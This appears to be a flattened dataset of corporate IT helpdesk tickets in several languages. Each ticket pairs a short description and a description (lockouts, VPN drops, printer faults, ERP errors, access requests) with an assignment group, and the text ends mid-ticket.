\\HostName\_702\departments\pubreports\fy17<file://HostName\_702/departments/pubreports/fy17>\_x000D\_
[cid:image001.png@01d22559.75e00b60]\_x000D\_
vielen dank\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: outlook freezing., Description: vip 2: outlook freezing., is assigned to Assignment group: GRP\_0.Ticket with Short description: account lockout , Description: account lockout , is assigned to Assignment group: GRP\_0.Ticket with Short description: please update change for user "giuliasana byhdderni" from "company.com to company.com", Description: change for user "giuliasana byhdderni" from "company.com to company.com", is assigned to Assignment group: GRP\_2.Ticket with Short description: telephony\_software phone, Description: benelthyux team has bad phone connection of incomming calls. a lot of crackling and interruption., is assigned to Assignment group: GRP\_7.Ticket with Short description: probleme mit lan am rechner \ we\_wu113 \ essa \wrcktgbd wzrgyunp, Description: probleme mit lan am rechner \ we\_wu113 \ essa \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: pdf dateien gehen nicht auf, Description: pdf dateien gehen nicht auf, is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to re print inwarehouse\_tool, Description: \_x000D\_
\_x000D\_
received from: rxoynvgi.ntgdsehl@gmail.com\_x000D\_
\_x000D\_
hi it team\_x000D\_
\_x000D\_
kindly please assist as we unable to reprint inwarehouse\_tool in ecs system.\_x000D\_
\_x000D\_
the system just show below attached only without any other detail.\_x000D\_
\_x000D\_
[cid:image002.png@01d22583.967eedd0]\_x000D\_
\_x000D\_
[cid:image001.png@01d22583.4d17baf0]\_x000D\_
\_x000D\_
\_x000D\_
hydstheud mddwwyleh\_x000D\_
operation supervisor\_x000D\_
company distribution services of asia pte ltd\_x000D\_
( asia regional distribution centre)\_x000D\_
5 changi south lane\_x000D\_
# 04-01, c & p building\_x000D\_
apac 486045\_x000D\_
t : +65 6379 4571\_x000D\_
f : +65 6546 5504\_x000D\_
m : +65 9459 1605\_x000D\_
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_19.Ticket with Short description: cannot find workgroups in telephony\_software, Description: i cannot find 2/de/fd/gso/de/v as well as 2/de/fd/gso/de/c in telephony\_software. i had access until atleast last week and possibly on monday too., is assigned to Assignment group: GRP\_7.Ticket with Short description: wireless mouse is missing from desk, Description: wireless mouse is missing from desk, need new replaced wireless mouse., is assigned to Assignment group: GRP\_3.Ticket with Short description: msd -unable to sync all the contact information from outlook to crm, Description: unable to sync all the contact information from outlook to crm. the address and notes fields are not synced to crm as there are more then 4500 contacts its not possible to put the company name for each customer manually
contact number- , is assigned to Assignment group: GRP\_22.Ticket with Short description: probleme mit portal \ user : gogtyekthyto \vzqomdgt jwoqbuml, Description: probleme mit portal \ user : gogtyekthyto \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: re: inc1547248- logging into mii supervisor dashbankrd results in error pop-up.. 'internal server error', Description: \_x000D\_
\_x000D\_
received from: wsabzycm.pbhrmnyz@gmail.com\_x000D\_
\_x000D\_
hi stefyty,\_x000D\_
\_x000D\_
recent we have moved some changes to improve the performance.\_x000D\_
can you please check if you are still getting the same issue.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_41.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/13/2016 04:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/13/2016 04:58:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: automatical stock transfers shows wrong (tool late) delivery date; route the ticket forward to supply\_chain team please , Description: hello,\_x000D\_
\_x000D\_
we have again the problem with wrong (too late) automaticaly created stock stransfers. the delivery date is too late.\_x000D\_
#4195579 need at plant\_223 on 15 nov., 5019339763/00001 shows delivery date 17 nov.\_x000D\_
the parts are available at plant\_105.\_x000D\_
why dosen't show the stock transfer the wrong delivery date?\_x000D\_
\_x000D\_
we had the same problem with #4457992 - 5019250478\_x000D\_
the issue needs to solved a.s.a.p.\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: ethics training course, Description: \_x000D\_
\_x000D\_
received from: aunkpchr.qsyvrmjl@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
every quarter when the course has been added, it does not appear in my current learning.\_x000D\_
i'll have to find out the course name from my team mates and check in the "browse" option.\_x000D\_
could you please help to resolve this issue permanently..\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_23.Ticket with Short description: drucker em93 macht willkÃ¼rlich flecken auf den ausdrucken/kopien !!!, Description: drucker em93 macht willkÃ¼rlich flecken auf den ausdrucken/kopien !!!, is assigned to Assignment group: GRP\_42.Ticket with Short description: company-eu-deu-germany-e-b2-f2-new-office-3550-access-sw01 power supply issue., Description: internal power supply - on company-eu-deu-germany-e-b2-f2-new-office-3550-access-sw01 (68.20.26.7986) is showing faulty\_x000D\_
\_x000D\_
\_x000D\_
company-eu-deu-germany-e-b2-f2-new->sh env all\_x000D\_
fan is ok\_x000D\_
temperature is ok\_x000D\_
power is faulty\_x000D\_
rps is not present \_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: computer check, Description:
received from: qhyoiwls.uynrhiva@gmail.com
hi,
please check my computer â€“ excel runs slowly !
[cid:image001.png@01d22538.3ed1aa50]
[cid:image002.png@01d22539.ccb60450]
[cid:image003.png@01d2253a.835b8630]
qhyoiwls uynrhiva
analyst planning & reporting
qhyoiwls.uynrhiva@gmail.com
company shared services gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_28.Ticket with Short description: reset the password for xaykwtrf amlswjfr on erp / produktion / erp, Description: reset the password for xaykwtrf amlswjfr on erp / produktion / erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit lan \youfzmgp xvysrnmb, Description: probleme mit lan \youfzmgp xvysrnmb, is assigned to Assignment group: GRP\_24.Ticket with Short description: no vpn connection my employee p. financial., Description: name:jvxtfhkg heptuizn
language:
browser:microsoft internet explorer
email:jvxtfhkg.heptuizn@gmail.com
customer number:
telephone:
summary:no vpn connection my employee p. financial.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
dwfiykeo argtxmvcumar3
hello
is it petrghada financial?
jvxtfhkg heptuizn
no it's pethrywr financial
dwfiykeo argtxmvcumar3
ok
jvxtfhkg heptuizn
can you call him, it's urgent
dwfiykeo argtxmvcumar3
ok will do it
jvxtfhkg heptuizn
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ç­”å¤: ticket\_no1559458 : wireless guest access- hr\_tool trainer, Description:
received from: krnzfoct.mnjbuedp@gmail.com
hi ,
well received.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi connection is intermittent (getting frequently disconnected) in india., Description: wifi connection is intermittent (getting frequently disconnected) in india.
contact :
intranet is getting affected.
, is assigned to Assignment group: GRP\_8.Ticket with Short description: [erp] reroute production order printer mp74 to mp82, Description: production order printer mp74 (10.16.77.212) needs to be routed to mp82 (10.16.77.222)\_x000D\_
\_x000D\_
-> all erp systems including drawings etc.\_x000D\_
\_x000D\_
unable to find printer mp82 (in ticketing\_tool, ad and erp\_print\_tool)\_x000D\_
rerouted priter with name prqmp82 did not work., is assigned to Assignment group: GRP\_5.Ticket with Short description: :network problem in india office, Description: telephone:
summary:network problem in india
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
dwfiykeo argtxmvcumar3
hello, , is assigned to Assignment group: GRP\_4.Ticket with Short description: reset passwords for usa feathers using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: missing punches, Description: hello, there are punches out missing in erp for the employees that ended night shift today in the morning. location: germany, germany machining. please, help., is assigned to Assignment group: GRP\_52.Ticket with Short description: upgrade pc ramdnty, Description: i raised a ticket to upgrade the system ramdnty. can mine be upgrade to 8gb?
assign to sridthshar herytur., is assigned to Assignment group: GRP\_19.Ticket with Short description: ticket\_no1559458 : wireless guest access- hr\_tool trainer, Description:
received from: aorthyme.rnsuipbk@gmail.com
hi
please find below the credentials of guest access for annyhtie zhothu.
[cid:image001.jpg@01d2254c.ce0f3110]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: \_x000D\_
this link can not be open, Description: \_x000D\_
this link can not be open, is assigned to Assignment group: GRP\_0.Ticket with Short description: grir issues plant\_322 for ice alt. routes from usa, Description: email from maryhtutina bauuyternfeyt to athyndy eartyp to review alternate route shipments from 1204 from us warehouse and discrepancy in postings.
5018873735 00001: inwarehouse\_tool has been cancelled, please cancel gr as well, no delivery note
5018080021 00001: inwarehouse\_tool has been cancelled, please cancel gr as well, no delivery note
5019195890 00001: inwarehouse\_tool has been cancelled, please cancel gr as well, no delivery note
, is assigned to Assignment group: GRP\_53.Ticket with Short description: account blocked, Description: \_x000D\_
\_x000D\_
received from: kmzwjdsb.ejgnafcy@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
could you help me unlock my account.\_x000D\_
i can not get through \_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: datenÃ¼bertragung nicht mÃ¶glich!, Description: keine datenÃ¼bertragung von pc auf maschine mÃ¶glich!
werk: plant\_107
workcenter: ebm052
maschine: 45162335 /03
pc: eemwx004016
programdntym: winprodnc
ansprechpartner: r. wunthyder, is assigned to Assignment group: GRP\_42.Ticket with Short description: ess portal, Description: \_x000D\_
\_x000D\_
received from: ygkzwsud.cvjgkxws@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am unable to log in to bex website through ess portal. please help.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: current learning - ethics, Description: \_x000D\_
\_x000D\_
received from: bcxpeuko.utorqehx@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
oct is the month where we usually gets new ethics training course.\_x000D\_
this time, i didn't receive any ethics mail and also my current learning is empty. but few of my colleagues got the mail to complete the course.\_x000D\_
is it that this time, i don't need to complete the course?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_23.Ticket with Short description: ç”µè„‘æ— æ³•æ‰“å¼€ç½‘é¡µã€‚, Description: å¼ å·¥æ‚¨å¥½ï¼\_x000D\_
æˆ‘çš„ç”µè„‘è¿žæŽ¥å…¬å¸ç½‘ç»œæ— æ³•ä½¿ç”¨ï¼ˆä½†163ç­‰æ­£å¸¸ï¼‰ï¼Œä¿¡æ¯å¦‚ä¸‹ï¼šï¼ˆcrmæ— æ³•ç™»é™†ï¼Œvpnæ— æ³•è¿žæŽ¥ï¼Œethicsæ— æ³•è¿žæŽ¥ï¼Œä½†é‚®ä»¶å¯ä»¥æ­£å¸¸æŽ¥æ”¶ï¼‰\_x000D\_
å¦‚ä½•è§£å†³ï¼Ÿ\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_31.Ticket with Short description: production order cannot be released - 115991131, Description: hello it,\_x000D\_
\_x000D\_
production order cannot be released - 226002242 - "cer1 is active" "the business ta cannot be carried out". \_x000D\_
please see attached screenshot.\_x000D\_
\_x000D\_
please solve aerp. shipment has to be done today.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_45.Ticket with Short description: usa warehouse:long distance service down, Description: from: mdghayi redytudy
sent: wednesday, october 12, 2016 11:02 am
to: zarlgjes nxjvzcta; datacenter
cc: tiyhum kuyiomar
subject: re: long distance service down
hello dac,
there is an alarm on one of circuit id dhec027838 at usa. please can you open a ticket with global\_telecom\_1 and co-ordinate.
, is assigned to Assignment group: GRP\_8.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: payment method change from "t" to "c" for all employee vendors in 5323 & 5330, Description:
from: gnasmtvx cwxtsvkm
sent: wednesday, october 12, 2016 12:51 pm
to: nathyresh gayhtjula
cc: rwuqydvo anecdfps; pradyhtueep yyufs
subject: re: apt run
hi nathyresh,
we request you to change the payment method as c instead of t for all the employee masters.
, is assigned to Assignment group: GRP\_10.Ticket with Short description: anti-fmxcnwpu tcwrdqboinition is not updated from long time, Description: anti-fmxcnwpu tcwrdqboinition is not updated from long time. attached the screenshot., is assigned to Assignment group: GRP\_50.Ticket with Short description: job Job\_1329 failed in job\_scheduler at: 10/13/2016 00:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1329 failed in job\_scheduler at: 10/13/2016 00:11:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: pricing condition issue in oa, Description: \_x000D\_
\_x000D\_
received from: rayhtukumujar.br2@company.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
in the recent past, we are facing an issue of pricing condition not getting changed while booking the order.\_x000D\_
\_x000D\_
though we override the pricing condition with znr, the pricing condition remains as zlp1 only.\_x000D\_
\_x000D\_
for example, in oa 36131265, the price was over written with znr condition with a nett price of rs. 5726.54. but still pricing condition is shown as zlp1 with standard discount.\_x000D\_
\_x000D\_
what we have observed is whenever there are sub delivery items created due to non-availability of stock, this issue crops up. that too, after the challan is created, it becomes too difficult to make any changes.\_x000D\_
\_x000D\_
we request you to look into this immediately, assign sev2 ticket and resolve the same.\_x000D\_
\_x000D\_
await your feedback.\_x000D\_
\_x000D\_
à²•à³ƒà²¤à²œà³à²žà²¤à³†à²—à²³à³ / with , is assigned to Assignment group: GRP\_13.Ticket with Short description: need network connection for alicona edgemaster at pu5, Description: \_x000D\_
\_x000D\_
received from: vtwxaefm.ljisafue@gmail.com\_x000D\_
\_x000D\_
it helpdesk,\_x000D\_
\_x000D\_
please provide network connection for alicona edgemaster hone measuring equipment installed in pu5.\_x000D\_
\_x000D\_
this is necessary for software updating and also for shatryung relevant information with global team.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: the printer is defaulting to the usa printer for delivery notes. need to take the default out so it defaults to , Description: from: kryuisti turleythy
sent: wednesday, october 12, 2016 11:30 pm
to: nwfodmhc exurcwkm
subject: rakthyesh fw: delivery note for bakyhrer huhuyghes
please see string of emails on an issue that is happening with the transfer of shipping materials that used to be shipped from usa to now being shipped from usa and usa. the printer is defaulting to the usa printer for delivery notes. need to take the default out so it defaults to the shipping plant. please let me know if you need more information. i do not know what is triggering it to print from usa printer. having same issue in usa.
kryuisti turleythy
usa site business manager
hybiaxlk.lawptzir@gmail.com
from: kryuisti turleythy
sent: wednesday, october 12, 2016 10:39 am
to: ebpwcfla qoxvpbam <zdgnlqkc.zfjbpntg@gmail.com>
cc: gmnhjfbw farnwhji <gmnhjfbw.farnwhji@gmail.com>
subject: re: delivery note for bakyhrer huhuyghes
so, the issue is that for some reason it is defaulting to a usa printer for the delivery note. what is your printer number and i will send it to the printer? for future orders, before you save the delivery, go to extraïƒ delivery outputïƒ  header and change the printer in communication method.
kryuisti turleythy
usa site business manager
hybiaxlk.lawptzir@gmail.com
from: ebpwcfla qoxvpbam
sent: wednesday, october 12, 2016 9:07 am
to: kryuisti turleythy <hybiaxlk.lawptzir@gmail.com>
subject: re: delivery note for bakyhrer huhuyghes
item # 6970497 so# 36119918 line 490. picking request #6671926 delivery# 9169565916
from: kryuisti turleythy
sent: wednesday, october 12, 2016 10:41 am
to: ebpwcfla qoxvpbam
subject: re: delivery note for bakyhrer huhuyghes
can you give me an order number?
kryuisti turleythy
usa site business manager
hybiaxlk.lawptzir@gmail.com
from: ebpwcfla qoxvpbam
sent: wednesday, october 12, 2016 8:20 am
to: kryuisti turleythy <hybiaxlk.lawptzir@gmail.com>
subject: delivery note for bakyhrer huhuyghes
hi kryuisti,
i'm trying to ship out an order for bakyhrer huhuyghes , i have a picking request but i am unable to print out a delivery note.
is there any way you can help me with this kenny does not know.
, is assigned to Assignment group: GRP\_18.Ticket with Short description: folder missing, Description:
received from: munxvfhw.texsbopi@gmail.com
dear sir,
pkj folder is missing in u:guest: u is HostName\_95
prakaythsh kujigalore
senior manager, engineering
munxvfhw.texsbopi@gmail.com<mailto:munxvfhw.texsbopi@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account frequently getting locked., Description: windows account frequently getting locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_568 failed in job\_scheduler at: 10/12/2016 22:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_568 failed in job\_scheduler at: 10/12/2016 22:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/12/2016 22:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
backup statistics:\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 5 \_x000D\_
failed disk agents ........... 1 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 6 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 1 \_x000D\_
failed media agents .......... 0 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 1 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 39418 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 1 \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/12/2016 22:13:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: no power on the laptop, Description: no power on the laptop, is assigned to Assignment group: GRP\_0.Ticket with Short description: frequent account lockout on windows , Description: frequent account lockout on windows , is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_894 : volume: c:\ label:sys-HostName\_894 28385a7b is over 90% space consumed. space available: 3.0 g, Description: HostName\_894 : volume: c:\ label:sys-HostName\_894 28385a7b is over 90% space consumed. space available: 3.0 g, is assigned to Assignment group: GRP\_39.Ticket with Short description: ticket update on ticket\_no0448847, Description: ticket update on ticket\_no0448847, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool not working , Description: engineering\_tool not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: need help resetting one of my team members hub/windows password., Description: need help resetting one of my team members hub/windows password., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset instruction , Description:
summary:hello i need to reset one of my team members password. his name is mzyejqvd xzbtcfar, user id gilbrmuyt, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0448893, Description: ticket update on ticket\_no0448893, is assigned to Assignment group: GRP\_0.Ticket with Short description: please give schoegdythu read/write access to all files under \\HostName\_768\globalmfg\amerirtcas manufacturing\infrastructure\, Description: please give schoegdythu read/write access to all files under \\HostName\_768\globalmfg\amerirtcas manufacturing\infrastructure\
mu # is , is assigned to Assignment group: GRP\_34.Ticket with Short description: please give gethyoff schoemerujt (schoegdythu) the same access to server HostName\_776 as me (mccoyimgs), Description: please give gethyoff schoemerujt (schoegdythu) the same access to server HostName\_776 as me (mccoyimgs)
my phone is , is assigned to Assignment group: GRP\_12.Ticket with Short description: skype does not work, Description: skype will for load. phone . same problem as last week., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_868930, Description: ticket update on inplant\_868930, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open emails in outlook, Description: unable to open emails in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to hr\_tool denied, Description: access to hr\_tool denied, is assigned to Assignment group: GRP\_2.Ticket with Short description: no access to engineering\_tool : see attachment, Description: no access to engineering\_tool : see attachment, is assigned to Assignment group: GRP\_25.Ticket with Short description: vpn shut down, Description: vpn shut down when i was clocking back in for lunch. phone said i had bee gone for 59 minutes. no warning., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook doesn't start-up on my tablet dell latitude 7350, Description: outlook doesn't start-up on my tablet dell latitude 7350, is assigned to Assignment group: GRP\_0.Ticket with Short description: it notices on the hub do not expire on the scheduled expiry date, Description: it notices on the hub do not expire on the scheduled expiry date. \_x000D\_
this notice should have expired on 10-10 but is still actively displayed today: \_x000D\_
this notice should've expired on 10/7 - \_x000D\_
\_x000D\_
please review other notices as well\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: calls are coming to me but rerouting and showing a missed call, Description: calls are coming to me but rerouting and showing a missed call
telephony\_software ext :
, is assigned to Assignment group: GRP\_7.Ticket with Short description: erp SID\_37, Description: i am able to access SID\_34 and SID\_39, however i can't access SID\_37 for some reason. i am getting an error that states: account access not within validity date. , is assigned to Assignment group: GRP\_2.Ticket with Short description: application erp - mii on node HostName\_340 & HostName\_339 is down" , Description: application erp - mii on node HostName\_340 & HostName\_339 is down" , is assigned to Assignment group: GRP\_14.Ticket with Short description: ms office : word issue , Description: ms office : word issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: access to SID\_1, Description: \_x000D\_
\_x000D\_
received from: combxind.bvptuqxr@gmail.com\_x000D\_
\_x000D\_
good afternoon\_x000D\_
would you please check this error in SID\_1\_x000D\_
user revelj\_x000D\_
erp /SID\_1\_x000D\_
also, i need reset my password in SID\_1?\_x000D\_
this is the error\_x000D\_
[cid:image001.png@01d2247c.6249e400]\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to collaboration\_platform, Description: unable to login to collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access company, password expired, Description: unable to access company, password expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: danyhuie deyhtwet - a plant manager - keeps showing up on hr skype meetings., Description: danyhuie deyhtwet - a plant manager - keeps showing up on hr skype meetings., is assigned to Assignment group: GRP\_26.Ticket with Short description: wifi, Description:
received from: nbdljruw.axcrspyh@gmail.com
hallo zusammen,
es werden bei mir keine wifi verbindungen mehr angezeigt.
zuhause kann ich mich nicht mehr einwÃ¤hlen.
bitte um hilfe.
danke!
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: client's pc is rebooting randomly and also having office software issues, Description: client's pc is rebooting randomly and also having office software issues, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to see my previous pay slips, Description: unable to see my previous pay slips, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi not working in pennsylvania (wireless issue at waynesboro), Description: wifi not working in pennsylvania\_x000D\_
\_x000D\_
access point not working . work stoppage issue.\_x000D\_
tried calling christgry twice ..reached warehouse\_tool mail. left brief message.\_x000D\_
dialed again. not able to reach christgry ., is assigned to Assignment group: GRP\_4.Ticket with Short description: vpn shut down, Description: i was fixing an order. i went to answer a question on skype. i noticed that skype lost connection. then i noticed the vpn was shutting down. i didn't see a pop up note on vpn before the shut down., is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn connectivity issues, Description: knocked off vpn connection again. i wasn't doing anything in particular. just finished a call. , is assigned to Assignment group: GRP\_2.Ticket with Short description: ultramdntyet wrongful inwarehouse\_tool, so# 24897522, Description: \_x000D\_
\_x000D\_
received from: vflagort.xyotrhlf@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
i just sent a request but found more data. so i received the attached email asking to look into the issue. when i look at the inwarehouse\_tool (0159274337) referenced in the email, i saw the sample line was charged at cost when it shouldn't have been. when i go into the order, step on the sample line, go to document flow, i see a completely different inwarehouse\_tool number than what is referenced. the inwarehouse\_tool highlight below is for no cost, as it should be.\_x000D\_
[cid:image001.png@01d22471.b60d3930]\_x000D\_
\_x000D\_
when i look at the document flow for the entire order, i see both inwarehouse\_tools.\_x000D\_
[cid:image002.png@01d22472.10904e10]\_x000D\_
\_x000D\_
please help me understand why the customer was inwarehouse\_toold twice for the sample, and why the second inwarehouse\_tool is at cost when it should not be. let me know what i need to do on my end to help with this, please.\_x000D\_
\_x000D\_
for record, the inwarehouse\_tool sent on 9/19 is correct.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_13.Ticket with Short description: wrongful inwarehouse\_tool, Description: \_x000D\_
\_x000D\_
received from: vflagort.xyotrhlf@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
our customer, ultramdntyet, was inwarehouse\_toold for a sample line that was entered as a no charge sample in erp. i will be issuing a credit to the customer for the amount charged, but can you tell me why it was inwarehouse\_toold to begin with?\_x000D\_
\_x000D\_
[cid:image001.png@01d2246f.b6969f60]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_13.Ticket with Short description: vpn shut down, Description: while searching for quotes in erp, vpn shut down. i didn't see a pop up note. the first clue with problem was that erp shut down, then i saw that vpn connection had shut down., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to companysecure, Description: unable to connect to companyssecure, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip zip file, Description:
received from: jwhmqnye.xlpvdwre@gmail.com
i have a large zip file that i want to download and add to a folder on HostName\_771 (intellectual property). when i unzip the file and try to save to HostName\_771 it says that there is not enough space.
lryturhyyth ryhunan
chief counsel for IP
jwhmqnye.xlpvdwre@gmail.com<mailto:jwhmqnye.xlpvdwre@gmail.com>
, is assigned to Assignment group: GRP\_12.Ticket with Short description: need to find old emails on outlook., Description: need to find old emails on outlook., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0444091, Description: ticket update on ticket\_no0444091, is assigned to Assignment group: GRP\_0.Ticket with Short description: nachdem ich outlook geÃ¶ffnet habe und eine e-mail angeklickt habe kommt ein blauer kreis der sich dreht und ich nichts , Description: mehr machen. bitte dringend um hilfe. meine mobile tel. nr. , is assigned to Assignment group: GRP\_0.Ticket with Short description: benefits app on ssp, Description: \_x000D\_
\_x000D\_
received from: fpbmtxei.jtqbcnfs@gmail.com\_x000D\_
\_x000D\_
i do not have the benefits solver application on my single sign on portal. can someone please assist me with getting this added? , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working : crm issue , Description: outlook not working, emails not opening : crm issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: locked out of his system, Description: locked out of his system, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset , Description: erp SID\_34 password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: tmunkaiv ockthiyj , Description: \_x000D\_
\_x000D\_
received from: nlgkmpaq.outrnkca@gmail.com\_x000D\_
\_x000D\_
all,\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
i need to get a log in created for our new sr. production specialist tmunkaiv ockthiyj.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password reset SID\_34, Description: erp password reset SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: dw06 print job error, Description: dw06 print job error, is assigned to Assignment group: GRP\_0.Ticket with Short description: druker, Description: \_x000D\_
\_x000D\_
received from: xahuklgm.dqvkfjlb@gmail.com\_x000D\_
\_x000D\_
drucker defekt\_x000D\_
\_x000D\_
\_x000D\_
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.\_x000D\_
[#+company/posts> [\_x000D\_
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to login to impact award, Description: unable to login to impact award\_x000D\_
tried password reset but was not able to remember security question, is assigned to Assignment group: GRP\_0.Ticket with Short description: need link to access outlook web mail, Description: need link to access outlook web mail, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out , Description: account locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: performance problems in different applications / programdntyms, Description: performance problems with erp, ieas and EU\_tool.\_x000D\_
especially several timeout errors in EU\_tool in the search functions. (see attachment) over the complete day., is assigned to Assignment group: GRP\_25.Ticket with Short description: downloading or copying collaboration\_platform files to purchasing, Description: i want to upload directly to purchasing pdf files that are saved in a collaboration\_platform file. can this be done? was told to open ticket and have assigned to collaboration development group. xszoedmc.gmhkdsnw@gmail.com or skype., is assigned to Assignment group: GRP\_16.Ticket with Short description: cannot print to cl92, Description: ever since a recent workstation move, i am unable to print to cl92. before the move, i printed to cl92 regularly. since the move, any attempt to print to cl92 prompts me to install the driver. which i do, but the print job fails regardless., is assigned to Assignment group: GRP\_0.Ticket with Short description: receiving product in logical warehouse (plant\_100) batch is required, Description: when using migo/goods receipt to receive product into plant\_100 batch information is required to process. it has begun to happen more frequently over the past month. the following rqfhiong zkwfqagbs are examples as to where this has occurred. mm 4977683, 4978280, 4977686 and 2286073., is assigned to Assignment group: GRP\_54.Ticket with Short description: need to setup a 